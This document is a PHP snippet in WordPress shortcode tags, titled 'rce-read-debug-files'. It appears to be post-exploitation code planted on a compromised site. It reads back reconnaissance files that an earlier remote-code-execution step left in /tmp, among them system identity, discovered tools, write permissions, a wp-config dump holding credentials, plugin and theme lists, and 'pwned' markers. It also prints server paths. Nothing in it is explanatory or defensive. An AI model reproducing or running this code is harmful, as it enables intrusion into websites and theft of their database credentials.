rce-read-debug-files
[php]
echo “=== ID ===\n”;
echo @file_get_contents(“/tmp/id_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PWD ===\n”;
echo @file_get_contents(“/tmp/pwd_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== UNAME ===\n”;
echo @file_get_contents(“/tmp/uname_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== WEBROOT ===\n”;
echo @file_get_contents(“/tmp/webroot.txt”) ?: “NOT_FOUND\n”;
echo “\n=== TOOLS ===\n”;
echo @file_get_contents(“/tmp/tools_found.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PERMS ===\n”;
echo @file_get_contents(“/tmp/wp_content_perm.txt”) ?: “NOT_FOUND\n”;
echo “\n=== CONFIG ===\n”;
echo @file_get_contents(“/tmp/wp_config_dump.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PLUGINS ===\n”;
echo @file_get_contents(“/tmp/plugins_list.txt”) ?: “NOT_FOUND\n”;
echo “\n=== THEMES ===\n”;
echo @file_get_contents(“/tmp/themes_list.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PHP WRITE ===\n”;
echo @file_get_contents(“/tmp/php_write_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PHP TMP ===\n”;
echo @file_get_contents(“/tmp/php_tmp_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PRINTF ===\n”;
echo @file_get_contents(“/tmp/printf_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== COPY CFG ===\n”;
echo @file_get_contents(“/tmp/copy_config_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PHP TEST ===\n”;
echo @file_get_contents(“/tmp/php_test_ok.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PHP TMP OK ===\n”;
echo @file_get_contents(“/tmp/php_tmp_result.txt”) ?: “NOT_FOUND\n”;
echo “\n=== PWNED ===\n”;
echo @file_get_contents(“/tmp/pwned_by_pop”) ?: “NOT_FOUND\n”;
echo “\n=== HELLO ===\n”;
echo @file_get_contents(“/tmp/hello_rce.txt”) ?: “NOT_FOUND\n”;
echo “\n=== DIR ===\n”;
echo __DIR__ . “\n”;
echo “\n=== DOC ROOT ===\n”;
echo $_SERVER[“DOCUMENT_ROOT”] . “\n”;
echo “\n=== ABSPATH ===\n”;
echo defined(“ABSPATH”) ? ABSPATH : “NOT DEFINED”;
echo “\n”;
[/php]